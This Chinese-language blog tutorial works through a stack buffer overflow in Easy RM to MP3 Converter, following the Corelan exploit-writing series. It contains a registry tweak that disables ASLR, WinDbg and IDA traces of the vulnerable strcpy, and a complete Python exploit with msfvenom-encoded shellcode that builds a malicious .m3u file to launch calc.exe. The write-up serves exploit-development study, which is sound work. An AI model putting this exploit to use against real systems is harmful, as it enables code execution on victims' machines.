Learn Corelan Exploit Writing Part 1
0x00 环境搭建
茅盾说:我从来不梦想,我只是在努力认识现实。所以经典的Corelan Team漏洞利用教程还是要先过一遍的。Part 1只是以一个现实漏洞为例,介绍了栈溢出的原理和基本的利用过程。学习别人的东西我也就不用英文装模作样了,还能提高一下效率/笑哭。
原文中的操作系统为xp en sp3,我在使用WinDbg 6.12的时候发现下载系统Symbol文件时老是链接重置,貌似是微软不再支持xp的符号表了。强迫症所致就换成win7 x86 en sp1来进行后续的实验。用win7就得考虑禁用一些安全机制了,DEP不多说,自Vista往后系统会因为ASLR默认对系统的dll和exe的加载地址随机化,而且同一个模块在不同进程中的加载地址一致,即仅在系统范围内第一次加载时才进行随机化。在win7上修改注册表即可禁用ASLR机制:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
"MoveImages"=dword:00000000
原文中为了保证exploit的通用性选择了Easy RM to MP3 Converter软件自带dll中的跳转指令。经过个人的实验后,感觉因为rebase的原因,即使在xp上多次运行软件后,软件和系统的dll的加载地址也会有个别的变化。既然是不考虑安全机制,干脆就在win7上禁用ASLR,使用系统dll中的跳转指令比较稳一点。在搜索ASLR和rebase的过程发现了一些有趣的文章,好奇的同学可以参看参看:
- How do you disable ASLR (address space layout randomization) on Windows 7 x64?
- Exploiting Easy RM to MP3 Converter on Windows 7 (Without ASLR)
- Dealing with ASLR When Analyzing Malware on Windows 8.1
- Vulnerability Note VU#817544
- On the effectiveness of DEP and ASLR
- Windows ISV Software Security Defenses
- 《Windows核心编程》之“ASLR .vs Rebasing dlls”
- ASLR在Windows与Linux系统之间的差别
0x01 漏洞定位
原文确定offset后,直接覆盖eip跳转至栈上执行shllcode。其中留下的疑问大多都是和漏洞点相关的,所以此小节通过windbg调试定位漏洞点,不当之处还请指正。
Msf的文档好像又更新了,但确定偏移的工具和文中的一样,我这里也用25000个A和5000个pattern生成payload定位offset:
root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -h
Usage: /usr/share/metasploit-framework/tools/exploit/pattern_create.rb [options]
Example: /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 50 -s ABC,def,123
Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf
Options:
-l, --length <length> The length of the pattern
-s, --sets <ABC,def,123> Custom Pattern Sets
-h, --help Show this message
root@kali:/tmp# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5000 > pattern.txt
python小脚本生成carsh.m3u后,拖进软件windbg捕获异常:
(ba0.e4): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a1c ecx=77f16570 edx=016105c0 esi=6fff2960 edi=00007532
eip=42396b42 esp=000ffcc4 ebp=00104604 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
42396b42 ?? ???
由此可确定offset为1107:
root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -h
Usage: /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb [options]
Example: /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q Aa3A
[*] Exact match at offset 9
Options:
-q, --query Aa0A Query to Locate
-l, --length <length> The length of the pattern
-s, --sets <ABC,def,123> Custom Pattern Sets
-h, --help Show this message
root@kali:/tmp# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x42396b42 -l 5000
[*] Exact match at offset 1107
一开始想通过栈帧回溯确定漏洞点,但如同提示一样栈帧可能不靠谱:
0:000> k
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
000ffcc0 326c4231 0x42396b42
00104620 77d45aa7 0x326c4231
0010465c 77d37206 USER32!CreateDialogParamW+0x477
00104678 77d2c4e7 USER32!DefDlgProcA+0x22
001046ac 77d1bb87 USER32!gapfnScSendMessage+0x1cf
001046b4 77d2c641 USER32!DefWindowProcA+0x6b
0010476c 718a3335 USER32!gapfnScSendMessage+0x329
00104a1c 00000000 MFC42!Ordinal2385+0x2a
0:000> u 0x326c4231
326c4231 ?? ???
^ Memory access error in 'u 0x326c4231'
首先想到可能因为eip被覆盖为pattern中的无效地址所以栈回溯有问题,那我找个有效的ret地址:
0:000> lm m kernel*
start end module name
0dce0000 0dd2a000 KERNELBASE (deferred)
77de0000 77eb4000 kernel32 (deferred)
0:000> s 77de0000 77eb4000 cc
77de0087 cc 27 eb f1 cc 27 eb f1-cc 2e 93 62 cc 16 eb f1 .'...'.....b....
......
77eb2fd8 cc 3a d0 3a e5 3a 06 3b-0c 3b 34 3b 38 3b 3c 3b .:.:.:.;.;4;8;<;
将eip覆盖为0x77eb2fd8,栈帧回溯显得更加不靠谱了:
(bdc.c20): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=00000001 ebx=00104a1c ecx=77f16570 edx=017f05c0 esi=6fff2960 edi=0000661f
eip=77eb2fd8 esp=000ffcc4 ebp=00104604 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\kernel32.dll -
kernel32!WakeConditionVariable+0x13839:
77eb2fd8 cc int 3
0:000> kv
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00104604 6172635c 6d2e6873 00007533 0000036a kernel32!WakeConditionVariable+0x13839
00104620 77d45aa7 006cfa18 0000036a 00000000 0x6172635c
0010465c 77d37206 00000000 0000036a 00000000 USER32!CreateDialogParamW+0x477
00104678 77d2c4e7 0020024c 0000036a 00000000 USER32!DefDlgProcA+0x22
001046ac 77d1bb87 0010471c 77d2c641 77d2c5fe USER32!gapfnScSendMessage+0x1cf
001046b4 77d2c641 77d2c5fe d29c9d8a 0000036a USER32!DefWindowProcA+0x6b
0010476c 718a3335 7198dbbc 7198e9e4 00000000 USER32!gapfnScSendMessage+0x329
00104a1c 00000000 00000000 00000000 00000000 MFC42!Ordinal2385+0x2a
0:000> u 6172635c
6172635c ?? ???
^ Memory access error in 'u 6172635c '
只得另寻蹊径了,因为是禁止了ASLR,所以进程的堆栈地址是不会变的,通过前文的调试可知,覆盖eip后esp的值都为0x000ffcc4,那么缓冲区的起始地址即为0x000ffcc4-25000-1107-4-4=0x000f96c1
,也可以通过查看相关地址内容验证,但缓冲区的起始部分可能因为其他的操作而清零了:
0:000> d esp-0n25000-0n1107-0n4-0n4
000f96c1 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f96d1 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f96e1 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f96f1 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f9701 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f9711 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f9721 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f9731 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0:000> d esp-0n4-0n4
000ffcbc d8 2f eb 77 43 43 43 43-43 43 43 43 43 43 43 43 ./.wCCCCCCCCCCCC
000ffccc 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffcdc 43 43 43 43 00 41 41 41-41 41 41 41 41 41 41 41 CCCC.AAAAAAAAAAA
000ffcec 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffcfc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffd0c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffd1c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffd2c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
此漏洞是个栈溢出漏洞,所以漏洞触发的环节肯定是往缓冲区拷贝过长数据,该缓冲区的起始地址不变,我们就可以下个写操作的硬件断点,虽然断点的触发可能不止一次,但只要我们的payload被copy至缓冲区上,那该断点就是我们的目标断点:
(d18.46c): Break instruction exception - code 80000003 (first chance)
eax=7ffaa000 ebx=00000000 ecx=00000000 edx=77f5f125 esi=00000000 edi=00000000
eip=77ef40f0 esp=04a9ff5c ebp=04a9ff88 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SYSTEM32\ntdll.dll -
ntdll!DbgBreakPoint:
77ef40f0 cc int 3
0:017> ba w 1 0xf96c1
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\kernel32.dll -
0:017> bl
0 e 000f96c1 w 1 0001 (0001) 0:****
0:017> g
Breakpoint 0 hit
eax=00000000 ebx=00104a1c ecx=0000087e edx=00634124 esi=6fff2960 edi=000f96c4
eip=0041e318 esp=000f7394 ebp=00104604 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe
RM2MP3Converter+0x1e318:
0041e318 f3ab rep stos dword ptr es:[edi]
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00104a1c ecx=00001987 edx=00006625 esi=049ace80 edi=000f96c4
eip=10008d93 esp=000f7378 ebp=00104604 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll -
MSRMfilter03!Playlist_FindNextItem+0x53:
10008d93 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> d 000f96c1
000f96c1 41 41 41 00 00 00 00 00-00 00 00 00 00 00 00 00 AAA.............
000f96d1 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f96e1 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f96f1 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f9701 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f9711 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f9721 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f9731 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0:000> g
Breakpoint 0 hit
eax=00006625 ebx=00104a1c ecx=000010c1 edx=000f73b4 esi=000fb9dc edi=000f96d4
eip=0041e553 esp=000f7394 ebp=00104604 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
RM2MP3Converter+0x1e553:
0041e553 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> d 000f96c1
000f96c1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f96d1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f96e1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f96f1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f9701 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f9711 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f9721 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f9731 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d 000ffcc4-0n4-0n4
000ffcbc d8 2f eb 77 43 43 43 43-43 43 43 43 43 43 43 43 ./.wCCCCCCCCCCCC
000ffccc 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffcdc 43 43 43 43 00 41 41 41-41 41 41 41 41 41 41 41 CCCC.AAAAAAAAAAA
000ffcec 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffcfc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffd0c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffd1c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffd2c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
MSRMfilter03!Playlist_FindNextItem+0x53
即为漏洞触发点,IDA反汇编该dll可知是使用strcpy直接向栈上copy过长文件数据导致溢出:
.text:10008D40 ; Exported entry 7. Playlist_FindNextItem
.text:10008D40
.text:10008D40 ; =============== S U B R O U T I N E =======================================
.text:10008D40
.text:10008D40
.text:10008D40 public Playlist_FindNextItem
.text:10008D40 Playlist_FindNextItem proc near ; DATA XREF: .rdata:off_10034148o
.text:10008D40
.text:10008D40 arg_0 = dword ptr 4
.text:10008D40
.text:10008D40 push 0C0h
.text:10008D45 ; 5: sub_10008DE0(5, aDebugPlaylis_3, (unsigned int)aDMpf2_0Mplayer);
.text:10008D45 push offset aDMpf2_0Mplayer ; "D:\\Mpf2.0\\MplayerMod\\dll_interface\\"...
.text:10008D4A push offset aDebugPlaylis_3 ; "Debug: Playlist_FindNextItem enter. %s("...
.text:10008D4F push 5 ; int
.text:10008D51 call sub_10008DE0
.text:10008D56 ; 6: v1 = (const char *)sub_10006850(dword_1004D600, 1);
.text:10008D56 mov eax, dword_1004D600
.text:10008D5B push 1
.text:10008D5D push eax
.text:10008D5E call sub_10006850
.text:10008D63 ; 7: if ( v1 )
.text:10008D63 add esp, 18h
.text:10008D66 test eax, eax
.text:10008D68 jz short loc_10008DAE
.text:10008D6A ; 9: strcpy(a1, v1);
.text:10008D6A push esi
.text:10008D6B push edi
.text:10008D6C mov edi, eax
.text:10008D6E or ecx, 0FFFFFFFFh
.text:10008D71 xor eax, eax
.text:10008D73 push 0CDh
.text:10008D78 repne scasb
.text:10008D7A ; 10: sub_10008DE0(5, aDebugPlaylis_4, (unsigned int)aDMpf2_0Mplayer);
.text:10008D7A not ecx
.text:10008D7C sub edi, ecx
.text:10008D7E push offset aDMpf2_0Mplayer ; "D:\\Mpf2.0\\MplayerMod\\dll_interface\\"...
.text:10008D83 mov edx, ecx
.text:10008D85 mov esi, edi
.text:10008D87 mov edi, [esp+10h+arg_0]
.text:10008D8B push offset aDebugPlaylis_4 ; "Debug: Playlist_FindNextItem ok. %s(%u)"
.text:10008D90 shr ecx, 2
.text:10008D93 rep movsd
.text:10008D95 mov ecx, edx
.text:10008D97 push 5 ; int
.text:10008D99 and ecx, 3
.text:10008D9C rep movsb
.text:10008D9E call sub_10008DE0
.text:10008DA3 ; 11: result = 1;
.text:10008DA3 add esp, 10h
.text:10008DA6 mov eax, 1
.text:10008DAB pop edi
.text:10008DAC pop esi
.text:10008DAD retn
.text:10008DAE ; ---------------------------------------------------------------------------
在MSRMfilter03!Playlist_FindNextItem
处下断点,sub_10006850
调用完后查看eax可知源数据为文件路径加上文件数据内容:
0:000>
eax=03ecce78 ebx=00104a1c ecx=01810590 edx=00000000 esi=00104613 edi=000ffcbc
eip=10008d66 esp=000f738c ebp=00104604 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MSRMfilter03!Playlist_FindNextItem+0x26:
10008d66 85c0 test eax,eax
0:000> d 03ecce78
03ecce78 5a 3a 5c 31 5c 41 41 41-41 41 41 41 41 41 41 41 Z:\1\AAAAAAAAAAA
03ecce88 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
03ecce98 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
03eccea8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
03ecceb8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
03eccec8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
03ecced8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
03eccee8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d 03ecce78+0n5+0n25000+0n1107
03ed3478 d8 2f eb 77 43 43 43 43-43 43 43 43 43 43 43 43 ./.wCCCCCCCCCCCC
03ed3488 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
03ed3498 43 43 43 43 00 73 02 00-48 00 ec 03 88 7d 81 01 CCCC.s..H....}..
03ed34a8 96 21 90 5b 09 73 02 00-48 00 ec 03 88 7d 81 01 .!.[.s..H....}..
03ed34b8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
03ed34c8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
03ed34d8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
03ed34e8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
同时,在MSRMfilter03!Playlist_FindNextItem
开始处查看返回地址便知调用函数地址和传入的栈参数地址:
(e34.a24): Break instruction exception - code 80000003 (first chance)
eax=7ffaa000 ebx=00000000 ecx=00000000 edx=77f5f125 esi=00000000 edi=00000000
eip=77ef40f0 esp=045cff5c ebp=045cff88 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SYSTEM32\ntdll.dll -
ntdll!DbgBreakPoint:
77ef40f0 cc int 3
0:017> bp MSRMfilter03!Playlist_FindNextItem
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\kernel32.dll -
*** WARNING: Unable to verify checksum for C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll -
0:017> g
Breakpoint 0 hit
eax=00000000 ebx=00104a1c ecx=000f96bc edx=01280168 esi=00104613 edi=000ffcbc
eip=10008d40 esp=000f738c ebp=00104604 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSRMfilter03!Playlist_FindNextItem:
10008d40 68c0000000 push 0C0h
0:000> d esp
000f738c f6 e3 41 00 bc 96 0f 00-1f 66 00 00 60 29 ff 6f ..A......f..`).o
000f739c 04 46 10 00 1c 4a 10 00-1c 4a 10 00 00 00 00 00 .F...J...J......
000f73ac 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f73bc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f73cc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f73dc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f73ec 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000f73fc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
IDA打开RM2MP3Converter.exe定位到0041e3f6,其动态调用函数指针,并把栈上的变量作为参数传递,在内部stcpy造成了溢出:
.text:0041E3D8 ; 81: memset(&v53, 0, 0x2200u);
.text:0041E3D8
.text:0041E3D8 loc_41E3D8:
.text:0041E3D8 mov ecx, 880h
.text:0041E3DD xor eax, eax
.text:0041E3DF lea edi, [esp+8928h+var_2200]
.text:0041E3E6 rep stosd
.text:0041E3E8 ; 82: while ( (*(int (__cdecl **)(char *))((char *)v2 + 25714))(&Str) )
.text:0041E3E8 lea ecx, [esp+8928h+Str]
.text:0041E3EF push ecx
.text:0041E3F0 call dword ptr [ebx+6472h]
.text:0041E3F6 add esp, 4
.text:0041E3F9 test eax, eax
.text:0041E3FB jz loc_41
继续看一下Str的偏移为0x6600,一切都在掌握5+25000+1107=0x6600
之中:
.text:0041E2B0
.text:0041E2B0
.text:0041E2B0
.text:0041E2B0 sub_41E2B0 proc near
.text:0041E2B0
.text:0041E2B0 var_8918= dword ptr -8918h
.text:0041E2B0 var_8914= dword ptr -8914h
.text:0041E2B0 var_8910= dword ptr -8910h
.text:0041E2B0 var_890C= dword ptr -890Ch
.text:0041E2B0 ArgList= byte ptr -8908h
.text:0041E2B0 var_6704= byte ptr -6704h
.text:0041E2B0 Str= byte ptr -6600h
.text:0041E2B0 var_65FD= byte ptr -65FDh
.text:0041E2B0 var_4400= byte ptr -4400h
.text:0041E2B0 var_2200= byte ptr -2200h
.text:0041E2B0 arg_0= dword ptr
在该函数尾部有个retn 4
,也算是解决了原文中的一个小提问吧:
.text:0041E9D2 ; 202: (*(void (**)(void))((char *)v2 + 25710))();
.text:0041E9D2
.text:0041E9D2 loc_41E9D2:
.text:0041E9D2 call dword ptr [ebx+646Eh]
.text:0041E9D8 ; 203: result = 1;
.text:0041E9D8 pop edi
.text:0041E9D9 mov eax, 1
.text:0041E9DE pop esi
.text:0041E9DF pop ebp
.text:0041E9E0 ; 204: dword_47BEA8 = 1;
.text:0041E9E0 mov dword_47BEA8, eax
.text:0041E9E5 pop ebx
.text:0041E9E6 add esp, 8918h
.text:0041E9EC retn 4
.text:0041E9EC sub_41E2B0 endp
.text:0041E9EC
0x02 漏洞利用
Offset已经确定,jmp esp
的地址就在kernel32.dll中找一个:
0:000> lm m kernel*
start end module name
0dce0000 0dd2a000 KERNELBASE (deferred)
77de0000 77eb4000 kernel32 (export symbols) C:\Windows\system32\kernel32.dll
0:000> s 77de0000 77eb4000 ff e4
77e9f8f7 ff e4 fa 0b 00 64 1c 00-00 20 0a 0c 00 ff ff ff .....d... ......
0:000> u 77e9f8f7
kernel32!WakeConditionVariable+0x158:
77e9f8f7 ffe4 jmp esp
77e9f8f9 fa cli
77e9f8fa 0b00 or eax,dword ptr [eax]
77e9f8fc 641c00 sbb al,0
77e9f8ff 0020 add byte ptr [eax],ah
77e9f901 0a0c00 or cl,byte ptr [eax+eax]
77e9f904 ff ???
77e9f905 ff ???
直接使用msfvenom千篇一律的老套路弹个计算器呗,shellcode的细节可能后面会抽时间解析一下:
padding = "A" * (25000+1107)
ret = "\xf7\xf8\xe9\x77" # 77e9f8f7
# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00' -f python -v shellcode -n 16
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 220 (iteration=0)
# x86/shikata_ga_nai chosen with final size 220
# Successfully added NOP sled from x86/single_byte
# Payload size: 236 bytes
# Final size of python file: 1280 bytes
shellcode = ""
shellcode += "\x4b\x91\x93\x92\xd6\x9f\x4b\x98\x41\xf9\xf8\xf9"
shellcode += "\xfc\x49\x4a\x27\xbb\x7b\xc9\xb4\x48\xd9\xcd\xd9"
shellcode += "\x74\x24\xf4\x58\x29\xc9\xb1\x31\x31\x58\x13\x03"
shellcode += "\x58\x13\x83\xc0\x7f\x2b\x41\xb4\x97\x29\xaa\x45"
shellcode += "\x67\x4e\x22\xa0\x56\x4e\x50\xa0\xc8\x7e\x12\xe4"
shellcode += "\xe4\xf5\x76\x1d\x7f\x7b\x5f\x12\xc8\x36\xb9\x1d"
shellcode += "\xc9\x6b\xf9\x3c\x49\x76\x2e\x9f\x70\xb9\x23\xde"
shellcode += "\xb5\xa4\xce\xb2\x6e\xa2\x7d\x23\x1b\xfe\xbd\xc8"
shellcode += "\x57\xee\xc5\x2d\x2f\x11\xe7\xe3\x24\x48\x27\x05"
shellcode += "\xe9\xe0\x6e\x1d\xee\xcd\x39\x96\xc4\xba\xbb\x7e"
shellcode += "\x15\x42\x17\xbf\x9a\xb1\x69\x87\x1c\x2a\x1c\xf1"
shellcode += "\x5f\xd7\x27\xc6\x22\x03\xad\xdd\x84\xc0\x15\x3a"
shellcode += "\x35\x04\xc3\xc9\x39\xe1\x87\x96\x5d\xf4\x44\xad"
shellcode += "\x59\x7d\x6b\x62\xe8\xc5\x48\xa6\xb1\x9e\xf1\xff"
shellcode += "\x1f\x70\x0d\x1f\xc0\x2d\xab\x6b\xec\x3a\xc6\x31"
shellcode += "\x7a\xbc\x54\x4c\xc8\xbe\x66\x4f\x7c\xd7\x57\xc4"
shellcode += "\x13\xa0\x67\x0f\x50\x5e\x22\x12\xf0\xf7\xeb\xc6"
shellcode += "\x41\x9a\x0b\x3d\x85\xa3\x8f\xb4\x75\x50\x8f\xbc"
shellcode += "\x70\x1c\x17\x2c\x08\x0d\xf2\x52\xbf\x2e\xd7\x30"
shellcode += "\x5e\xbd\xbb\x98\xc5\x45\x59\xe5"
payload = padding + ret + shellcode
# with open("pattern.txt", "r") as f:
# pattern = f.read()
with open("crash.m3u", "w") as f:
f.write(payload)
最终利用效果图我就不截了,太简单大家都懂的,还有很多的路要走,斗转星移不停留。